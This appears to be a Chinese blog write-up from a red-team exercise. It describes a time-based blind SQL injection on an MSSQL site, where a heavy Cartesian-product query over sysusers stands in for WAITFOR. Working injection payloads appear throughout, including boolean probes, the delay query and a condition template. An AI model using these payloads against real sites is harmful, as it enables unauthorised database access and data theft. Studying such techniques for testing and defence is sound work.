## 文章内容仅做经验分享用途，未授权的攻击属于非法行为！传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任，一旦造成后果自行承担！

话不多说

为什么说这个注入比较特殊，其一是因为是盲注，后台是 mssql，但是常规的判断手段是不生效的，sqlmap 也跑不出来

先说怎么发现，当然只是因为常规的单引号报错

![图片](/media/202609/101d034e89594d7f976faf27f3a486347341.png)

然后开始探测数据的时候发现**无回显、无布尔差、错误无明细，只能用时间**。然后还不能堆叠。

**例如**

常规布尔判断没有区别

```
' AND 1=1-- ' AND 1=2-- 
```

![图片](/media/202609/25aabaeaefa946dc83ef2fb1abb94ba74039.png)

![图片](/media/202609/b8048fdbfce741f4afa1b7ce54aea9ed5748.png)

```
x' AND '1'='1'-- x' AND '1'='2'-- 
```

![图片](/media/202609/de7812dd43c74fb2b5a124fb362d79044930.png)

![图片](/media/202609/15f8641e06014e8b8b6424ad8928eb3f5696.png)

而常规WAITFOR 是 T-SQL 语句，不是表达式，非堆叠在语法上塞不进 WHERE，也就导致不堆叠是无法注入的

那么这个时候就轮到本次的主角，笛卡尔积了

常规语法如下

```
' AND 8405=(SELECT COUNT(*) FROM sysusers AS a,sysusers AS b,sysusers AS c,sysusers AS d,sysusers AS e,sysusers AS f,sysusers AS g)--
```

![图片](/media/202609/f7e6d5a4cdff418db192c9ec0f7ecd7c6239.png)

七表笛卡尔积大概四秒，可以形成有效观测，那么接下来就是想办法把逻辑塞进笛卡尔积

大概逻辑是这样的

```
' AND 8405=(SELECT COUNT(*) FROM sysusers AS a,...,sysusers AS g WHERE <条件>)--真：WHERE 有行 → 7 表交叉 ≈4s假：WHERE 1=2 → 0 行，没东西可交叉 ≈0.2s
```

![图片](/media/202609/c55076c8dd6e400f9a142335ab1e89437455.png)

![图片](/media/202609/57073430c3ee4bd38e14d0d2e099ecc47181.png)

判断是否是 DBA 权限，很可惜这个靶标不是，=0 的时候延迟，说明不是

![图片](/media/202609/d0d0d8f1e91b406493ac104c2faded666646.png)![图片](/media/202609/a07b5189b07043809feb28649212c0d68341.png)

思路就分享到这里了，后面就是常规跑数据了，没什么知识点，所以就分享到这里了。

某省护网一次特殊的SQL注入